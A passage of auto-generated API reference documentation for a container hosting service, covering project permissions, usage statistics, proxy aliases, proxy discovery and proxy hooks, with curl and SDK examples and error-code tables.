  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```



### `POST /api/v1/projects/{id}/permissions`

Grant another user access to your project. You must be the project owner or have `edit` permission.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |

#### Request body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `user_id` | string | Yes | User ID to grant access to |
| `permission_level` | string | Yes | Access level. One of: `read`, `edit`, `delete` |



```bash
curl -X POST "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439011/permissions" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "user_id": "507f1f77bcf86cd799439044",
    "permission_level": "edit"
  }'
```


```ts
const permission = await client.api.projects.addPermission({
  id: "507f1f77bcf86cd799439011",
  user_id: "507f1f77bcf86cd799439044",
  permission_level: "edit",
});
```


```json
{
  "statusCode": 201,
  "message": "Project permission added successfully",
  "data": {
    "id": "507f1f77bcf86cd799439033",
    "project_id": "507f1f77bcf86cd799439011",
    "user_id": "507f1f77bcf86cd799439044",
    "permission_level": "read",
    "created_at": "2025-01-12T14:00:00.000Z",
    "updated_at": "2025-01-12T14:00:00.000Z",
    "user": {
      "id": "507f1f77bcf86cd799439044",
      "username": "jane_smith",
      "alias": "Jane Smith"
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project not found | The requested project does not exist or has been deleted | Verify the project ID is correct and that you have access to this project |
| `RESOURCE_NOT_FOUND` | Resource not found | The requested resource does not exist or has been deleted | Verify the resource ID and ensure it exists |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "User already has permission for this project"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PERMISSION_ALREADY_EXISTS` | Permission already exists | This user already has a permission for this project | Update the existing permission instead of creating a new one |
| `CANNOT_GRANT_SELF_PERMISSION` | Cannot grant permission to self | You cannot grant permissions to yourself | As the owner, you already have full access to this project |



### `PATCH /api/v1/projects/{id}/permissions/{permissionId}`

Change a user's permission level for a project — for example, upgrade from `read` to `edit` or downgrade from `edit` to `read`. You must be the project owner or have `edit` permission.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `permissionId` | path | string | Yes | Permission ID to update |

#### Request body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `permission_level` | string | Yes | New permission level. One of: `read`, `edit`, `delete` |



```bash
curl -X PATCH "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439011/permissions/507f1f77bcf86cd799439033" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "permission_level": "edit"
  }'
```


```ts
const updated = await client.api.projects.updatePermission({
  id: "507f1f77bcf86cd799439011",
  permissionId: "507f1f77bcf86cd799439033",
  permission_level: "edit",
});
```


```json
{
  "statusCode": 200,
  "message": "Project permission updated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439033",
    "project_id": "507f1f77bcf86cd799439011",
    "user_id": "507f1f77bcf86cd799439044",
    "permission_level": "edit",
    "created_at": "2025-01-12T14:00:00.000Z",
    "updated_at": "2025-01-15T14:45:00.000Z",
    "user": {
      "id": "507f1f77bcf86cd799439044",
      "username": "jane_smith",
      "alias": "Jane Smith"
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project not found | The requested project does not exist or has been deleted | Verify the project ID is correct and that you have access to this project |
| `PERMISSION_NOT_FOUND` | Permission not found | The requested permission does not exist or has been removed | Verify the permission ID is correct |



### `DELETE /api/v1/projects/{id}/permissions/{permissionId}`

Revoke a user's access to a project. The user will immediately lose all access. You must be the project owner or have `edit` permission.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `permissionId` | path | string | Yes | Permission ID to remove |



```bash
curl -X DELETE "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439011/permissions/507f1f77bcf86cd799439033" \
  -H "Authorization: Bearer <token>"
```


```ts
await client.api.projects.removePermission({
  id: "507f1f77bcf86cd799439011",
  permissionId: "507f1f77bcf86cd799439033",
});
```


```json
{
  "statusCode": 200,
  "message": "Project permission removed successfully"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```



## Statistics

### `GET /api/v1/projects/{id}/stats`

Get aggregated resource usage statistics for all containers in a project. Returns per-container stats (CPU, memory, disk, network) plus a summary with the total container count and total processing time.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the project |



```bash
curl -X GET "https://api.hoody.icu/api/v1/projects/507f1f77bcf86cd799439033/stats" \
  -H "Authorization: Bearer <token>"
```


```ts
const stats = await client.api.projects.getStats({
  id: "507f1f77bcf86cd799439033",
});
```


```json
{
  "statusCode": 200,
  "message": "Project statistics retrieved successfully",
  "data": {
    "stats": [
      {
        "id": "507f1f77bcf86cd799439011",
        "project_id": "507f1f77bcf86cd799439033",
        "project_name": "Production Environment",
        "server_name": "node-sg-sin-1",
        "status": "Running",
        "status_code": 103,
        "processes": 143,
        "started_at": "2025-12-03T18:39:53Z",
        "cpu": {
          "usage": 17303605000
        },
        "memory": {
          "usage": 1474666496,
          "total": 131503332000
        },
        "disk": {
          "root": {
            "total": 0,
            "usage": 11081670656
          }
        },
        "network": [],
        "processing_time": "3ms"
      }
    ],
    "summary": {
      "project_id": "507f1f77bcf86cd799439033",
      "project_name": "Production Environment",
      "container_count": 29,
      "total_processing_time": "1506ms"
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |
| `RESOURCE_ACCESS_DENIED` | Resource access denied | You do not have permission to access this specific resource | Ensure you own this resource or have been granted access by the owner |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RESOURCE_NOT_FOUND` | Resource not found | The requested resource does not exist or has been deleted | Verify the resource ID and ensure it exists |


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INTERNAL_SERVER_ERROR` | Internal server error | An unexpected error occurred on the server | Try again later, or contact support if the problem persists |
| `EXTERNAL_SERVICE_ERROR` | External service error | A required external service is unavailable or returned an error | Try again later when the external service is available |

---

# Proxy Aliases

**Page:** api/proxy-aliases

[Download Raw Markdown](./api/proxy-aliases.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Proxy aliases let you create memorable, share-friendly domain names for your containers. Instead of sharing URLs that expose your project and container IDs, you can mask them behind a short, human-readable alias. Use these endpoints to list, create, update, enable/disable, and delete proxy aliases for any container you own.


A proxy alias renames the URL segment that precedes the server hostname. For example, `https://a1b2c3d4-.node-sg-sin-1.containers.hoody.icu/` becomes `https://my-app.node-sg-sin-1.containers.hoody.icu/`. Aliases are globally unique across your account.


## List proxy aliases

Returns all proxy aliases for the authenticated account, with optional filters for project, container, realm, enabled state, and expiration.

### `GET /api/v1/proxy/aliases`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `project_id` | query | string | No | Filter by project ID |
| `container_id` | query | string | No | Filter by container ID |
| `realm_id` | query | string | No | Filter by realm ID. Alternative to using realm subdomain in URL. |
| `enabled` | query | string | No | Filter by enabled status. Allowed values: `true`, `false` |
| `expired` | query | string | No | Filter by expiration. Allowed values: `true` (only expired), `false` (only non-expired) |

### Response



```json
{
  "statusCode": 200,
  "message": "Proxy aliases retrieved successfully",
  "data": {
    "aliases": [
      {
        "id": "507f1f77bcf86cd799439022",
        "user_id": "507f1f77bcf86cd799439077",
        "project_id": "507f1f77bcf86cd799439033",
        "container_id": "507f1f77bcf86cd799439011",
        "alias": "my-portfolio",
        "program": "web",
        "index": 1,
        "target_path": null,
        "allow_path_override": true,
        "expires_at": null,
        "enabled": true,
        "created_at": "2025-01-15T10:30:00.000Z",
        "updated_at": "2025-01-15T10:30:00.000Z",
        "server_id": "507f1f77bcf86cd799439044",
        "server_name": "node-sg-sin-1",
        "url": "https://my-portfolio.node-sg-sin-1.containers.hoody.icu"
      },
      {
        "id": "507f1f77bcf86cd799439055",
        "user_id": "507f1f77bcf86cd799439077",
        "project_id": "507f1f77bcf86cd799439033",
        "container_id": "507f1f77bcf86cd799439066",
        "alias": "c3a8f1b2e4d5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3",
        "program": "api",
        "index": 1,
        "target_path": "/v1",
        "allow_path_override": true,
        "expires_at": "2025-06-30T23:59:59.000Z",
        "enabled": true,
        "created_at": "2025-01-10T08:00:00.000Z",
        "updated_at": "2025-01-10T08:00:00.000Z",
        "server_id": "507f1f77bcf86cd799439044",
        "server_name": "node-sg-sin-1",
        "subserver_name": "user-slice-7",
        "url": "https://c3a8f1b2e4d5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3.node-sg-sin-1.containers.hoody.icu"
      }
    ],
    "count": 2
  }
}
```



### SDK

```js
const { data } = await client.api.proxyAliases.listIterator({
  project_id: "507f1f77bcf86cd799439033",
  enabled: "true"
});
```

```bash
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.hoody.icu/api/v1/proxy/aliases?project_id=507f1f77bcf86cd799439033&enabled=true"
```

## Get proxy alias by ID

Retrieves detailed information about a single proxy alias, including related project and container details.

### `GET /api/v1/proxy/aliases/{id}`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Proxy alias ID |

### Response



```json
{
  "statusCode": 200,
  "message": "Proxy alias retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439022",
    "user_id": "507f1f77bcf86cd799439077",
    "project_id": "507f1f77bcf86cd799439033",
    "container_id": "507f1f77bcf86cd799439011",
    "alias": "my-app",
    "program": "web",
    "index": 1,
    "target_path": "/api",
    "allow_path_override": true,
    "expires_at": "2025-12-31T23:59:59.000Z",
    "enabled": true,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T10:30:00.000Z",
    "url": "https://my-app.node-sg-sin-1.containers.hoody.icu",
    "server_id": "507f1f77bcf86cd799439044",
    "server_name": "node-sg-sin-1",
    "subserver_name": "user-slice-7",
    "project": {
      "id": "507f1f77bcf86cd799439033",
      "alias": "production"
    },
    "container": {
      "id": "507f1f77bcf86cd799439011",
      "name": "web-app-1"
    }
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Proxy alias not found"
}
```



### SDK

```js
const { data } = await client.api.proxyAliases.get({
  id: "507f1f77bcf86cd799439022"
});
```

```bash
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.hoody.icu/api/v1/proxy/aliases/507f1f77bcf86cd799439022"
```

## Create a new proxy alias

Creates a custom domain alias for one of your containers. You can provide a custom alias (3–61 chars) or pass `null`/`false` to let the system auto-generate a 48-character hex string for maximum obscurity.

### `POST /api/v1/proxy/aliases`

### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `container_id` | string | Yes | — | Container ID that this alias points to. You must own this container. |
| `program` | string | Yes | — | Program name (must exist in container-programs.json). Common values: `web`, `api`, `ssh`, `vnc`, `code-server`. |
| `alias` | string \| null \| boolean | No | — | Custom alias name (`a-z`, `0-9`, hyphens only; 3–61 chars; cannot start or end with a hyphen) OR `null`/`false` for an auto-generated 48-char hex. Must be unique across your account. |
| `index` | integer | No | — | Program instance index. Defaults to `1`. Use when running multiple instances of the same program. |
| `target_path` | string \| null | No | — | Base path for routing. Requests to `https://{alias}.../` are forwarded to the container with this path prefix. Auto-prefixed with `/` if missing. Set to `null` for no path prefix. |
| `allow_path_override` | boolean | No | `true` | Whether to allow paths beyond `target_path`. If `false`, only the exact `target_path` is accessible. |
| `expires_at` | string \| null | No | — | Optional ISO 8601 expiration date. Alias is automatically disabled after this date. Set to `null` for no expiration. |
| `enabled` | boolean | No | `true` | Whether the alias is initially enabled. |

```json
{
  "container_id": "507f1f77bcf86cd799439011",
  "alias": "my-portfolio",
  "program": "web",
  "index": 1,
  "target_path": null,
  "allow_path_override": true
}
```

### Response



```json
{
  "statusCode": 201,
  "message": "Proxy alias created successfully",
  "data": {
    "id": "507f1f77bcf86cd799439022",
    "user_id": "507f1f77bcf86cd799439077",
    "project_id": "507f1f77bcf86cd799439033",
    "container_id": "507f1f77bcf86cd799439011",
    "alias": "my-app",
    "program": "web",
    "index": 1,
    "target_path": "/api",
    "allow_path_override": true,
    "expires_at": "2025-12-31T23:59:59.000Z",
    "enabled": true,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T10:30:00.000Z",
    "server_id": "507f1f77bcf86cd799439044",
    "server_name": "node-sg-sin-1",
    "subserver_name": "user-slice-7",
    "url": "https://my-app.node-sg-sin-1.containers.hoody.icu"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid alias format."
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation. | Check the error message for specific field requirements and correct your input. |
| `INVALID_ALIAS_FORMAT` | Invalid Alias Format | The alias contains invalid characters or does not meet length requirements. | Alias must be 3–61 characters, contain only `a-z`, `0-9`, and hyphens (not at start/end). |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request. | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;`. |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid. | Obtain a new token by logging in again or using a valid auth token. |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action. | Contact the resource owner or administrator to request access. |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Alias is already in use."
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `ALIAS_IN_USE` | Alias In Use | The requested alias is already in use by another user or project. | Choose a different alias. |



### SDK

```js
const { data } = await client.api.proxyAliases.create({
  data: {
    container_id: "507f1f77bcf86cd799439011",
    alias: "my-portfolio",
    program: "web",
    target_path: null,
    allow_path_override: true
  }
});
```

```bash
curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "container_id": "507f1f77bcf86cd799439011",
    "alias": "my-portfolio",
    "program": "web",
    "target_path": null,
    "allow_path_override": true
  }' \
  "https://api.hoody.icu/api/v1/proxy/aliases"
```

## Update proxy alias

Partially updates an existing proxy alias. Only the fields included in the request body are changed. Renaming the `alias` field also renames the underlying file on the server.

### `PATCH /api/v1/proxy/aliases/{id}`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Proxy alias ID to update |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `alias` | string | No | New alias name. Must be unique across your account. |
| `program` | string | No | Program name from `container-programs.json`. |
| `index` | integer | No | Program instance index. |
| `target_path` | string \| null | No | Base path for routing. Set to `null` to remove the path prefix. |
| `allow_path_override` | boolean | No | Whether to allow paths beyond `target_path`. |
| `expires_at` | string \| number \| null | No | Expiration date (ISO string, Unix timestamp seconds/ms, or `null` to remove expiration). |
| `enabled` | boolean | No | Whether the alias is enabled. |

```json
{
  "alias": "my-new-name"
}
```

### Response



```json
{
  "statusCode": 200,
  "message": "Proxy alias updated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439022",
    "user_id": "507f1f77bcf86cd799439077",
    "project_id": "507f1f77bcf86cd799439033",
    "container_id": "507f1f77bcf86cd799439011",
    "alias": "updated-app-name",
    "program": "api",
    "index": 2,
    "target_path": "/v2",
    "allow_path_override": false,
    "expires_at": null,
    "enabled": true,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T14:45:00.000Z",
    "url": "https://updated-app-name.node-sg-sin-1.containers.hoody.icu",
    "server_id": "507f1f77bcf86cd799439044",
    "server_name": "node-sg-sin-1",
    "subserver_name": "user-slice-7"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Proxy alias not found"
}
```


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Alias is already in use."
}
```



### SDK

```js
const { data } = await client.api.proxyAliases.update({
  id: "507f1f77bcf86cd799439022",
  data: {
    alias: "my-new-name"
  }
});
```

```bash
curl -X PATCH \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{ "alias": "my-new-name" }' \
  "https://api.hoody.icu/api/v1/proxy/aliases/507f1f77bcf86cd799439022"
```

## Enable or disable proxy alias

Toggles a proxy alias on or off without deleting it. Disabled aliases immediately stop resolving and return `404`, but can be re-enabled later.

### `PATCH /api/v1/proxy/aliases/{id}/state`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Proxy alias ID |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `enabled` | boolean | Yes | Set to `true` to enable, `false` to disable. |

```json
{
  "enabled": false
}
```

### Response



```json
{
  "statusCode": 200,
  "message": "Proxy alias disabled successfully",
  "data": {
    "id": "507f1f77bcf86cd799439022",
    "user_id": "507f1f77bcf86cd799439077",
    "project_id": "507f1f77bcf86cd799439033",
    "container_id": "507f1f77bcf86cd799439011",
    "alias": "my-app",
    "program": "web",
    "index": 1,
    "target_path": "/api",
    "allow_path_override": true,
    "expires_at": "2025-12-31T23:59:59.000Z",
    "enabled": false,
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T14:45:00.000Z",
    "url": "https://my-app.node-sg-sin-1.containers.hoody.icu",
    "server_id": "507f1f77bcf86cd799439044",
    "server_name": "node-sg-sin-1",
    "subserver_name": "user-slice-7"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Proxy alias not found"
}
```



### SDK

```js
const { data } = await client.api.proxyAliases.setState({
  id: "507f1f77bcf86cd799439022",
  data: { enabled: false }
});
```

```bash
curl -X PATCH \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{ "enabled": false }' \
  "https://api.hoody.icu/api/v1/proxy/aliases/507f1f77bcf86cd799439022/state"
```

## Delete proxy alias

Permanently deletes a proxy alias and removes its file from the server. The alias URL returns `404` immediately and cannot be recovered.


This action is irreversible. To temporarily stop an alias from resolving, use the [Enable or disable proxy alias](#enable-or-disable-proxy-alias) endpoint instead.


### `DELETE /api/v1/proxy/aliases/{id}`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Proxy alias ID to delete |

### Response



```json
{
  "statusCode": 200,
  "message": "Proxy alias deleted successfully"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Proxy alias not found"
}
```



### SDK

```js
await client.api.proxyAliases.delete({
  id: "507f1f77bcf86cd799439022"
});
```

```bash
curl -X DELETE \
  -H "Authorization: Bearer $TOKEN" \
  "https://api.hoody.icu/api/v1/proxy/aliases/507f1f77bcf86cd799439022"
```

---

# Proxy Discovery

**Page:** api/proxy-discovery

[Download Raw Markdown](./api/proxy-discovery.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Proxy Discovery

Use these endpoints to inspect the proxy configuration attached to a container. You can enumerate defined group names, list every service referenced by a permission cell or hook rule, and fetch a merged debug view for a single service.

---

### `GET /api/v1/containers/{id}/proxy/groups`

Returns all defined group names with auth-rule counts.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |



```bash
curl -X GET "https://api.hoody.com/api/v1/containers/cnt_8f3a2b1c4d5e6f70/proxy/groups" \
  -H "Authorization: Bearer <token>"
```


```ts
const { data } = await client.api.proxyDiscovery.listContainerProxyGroups({
  id: "cnt_8f3a2b1c4d5e6f70",
});
```


```json
{
  "statusCode": 200,
  "message": "OK",
  "data": {
    "groups": [
      { "name": "admins", "auth_rule_count": 12 },
      { "name": "developers", "auth_rule_count": 7 },
      { "name": "viewers", "auth_rule_count": 3 }
    ],
    "file_version": 14,
    "etag": "9f2c1a4b3e8d7f60"
  }
}
```



---

### `GET /api/v1/containers/{id}/proxy/services`

Returns all service names referenced by any permission cell or hook rule.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |



```bash
curl -X GET "https://api.hoody.com/api/v1/containers/cnt_8f3a2b1c4d5e6f70/proxy/services" \
  -H "Authorization: Bearer <token>"
```


```ts
const { data } = await client.api.proxyDiscovery.listContainerProxyServices({
  id: "cnt_8f3a2b1c4d5e6f70",
});
```


```json
{
  "statusCode": 200,
  "message": "OK",
  "data": {
    "services": [
      "postgres-primary",
      "redis-cache",
      "object-storage",
      "metrics-exporter"
    ],
    "file_version": 14,
    "etag": "9f2c1a4b3e8d7f60"
  }
}
```



---

### `GET /api/v1/containers/{id}/proxy/services/{service}`

Debug view: `permissions_raw` (per-group access cells for this service) + `hooks` + `effective_default` + `is_reject_listed`. This endpoint is non-authoritative — use `/proxy/permissions/{group}` and `/proxy/hooks/{service}` for authoritative writes.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `service` | path | string | Yes | Service name |



```bash
curl -X GET "https://api.hoody.com/api/v1/containers/cnt_8f3a2b1c4d5e6f70/proxy/services/postgres-primary" \
  -H "Authorization: Bearer <token>"
```


```ts
const { data } = await client.api.proxyDiscovery.getContainerProxyService({
  id: "cnt_8f3a2b1c4d5e6f70",
  service: "postgres-primary",
});
```


```json
{
  "statusCode": 200,
  "message": "OK",
  "data": {
    "service": "postgres-primary",
    "is_reject_listed": false,
    "permissions_raw": {
      "admins": { "read": true, "write": true, "delete": true },
      "developers": { "read": true, "write": true, "delete": false },
      "viewers": { "read": true, "write": false, "delete": false }
    },
    "hooks": [
      {
        "id": "hook_01HXYZ",
        "event": "before_write",
        "action": "audit_log"
      }
    ],
    "effective_default": "deny",
    "file_version": 14,
    "etag": "9f2c1a4b3e8d7f60"
  }
}
```




The `effective_default` field is always one of `"allow"` or `"deny"`, reflecting the merged default policy for the service after group overrides are applied.

---

# Proxy Hooks

**Page:** api/proxy-hooks

[Download Raw Markdown](./api/proxy-hooks.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Proxy Hooks let you attach MITM-style intercept scripts to specific paths on a container service. Hooks are evaluated per-service in `position` order, first-match-wins. All mutating operations are ETag-gated via the `If-Match: file:v` header to prevent lost updates.

## List all hooks for a container

`GET /api/v1/containers/{id}/proxy/hooks`

Returns every hook for the container grouped by service, alongside the current `file_version` and ETag.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### Response



```json
{
  "statusCode": 200,
  "message": "Proxy hooks listed successfully",
  "data": {
    "hooks": {
      "auth": [
        {
          "id": "01hz8x9k2b3c4d5e6f7g8h9j0k",
          "position": 0,
          "match": {
            "method": "POST",
            "path": "/v1/login",
            "headers": {
              "x-tenant": "acme"
            }
          },
          "script": {
            "subdomain": "hooks",
            "execId": "exec_01hz8x9k2b3c4d5e6f7g8h9j0k",
            "path": "/hooks/login-trace.js"
          },
          "timeout": 5000,
          "applies_to": {
            "groups": ["admins", "sre"]
          }
        }
      ],
      "billing": []
    },
    "file_version": 42,
    "etag": "file:v42"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Hook or service not found | The hook id, service, or container does not exist, or the service is reject-listed | Verify the service name is not reject-listed (logs, proxy, workspaces) and that the hook id exists |
| `VALIDATION_ERROR` | Validation error | Request body violates hook schema, caps, or referential integrity | Check error details and correct the body shape; ensure applies_to.groups references defined groups |
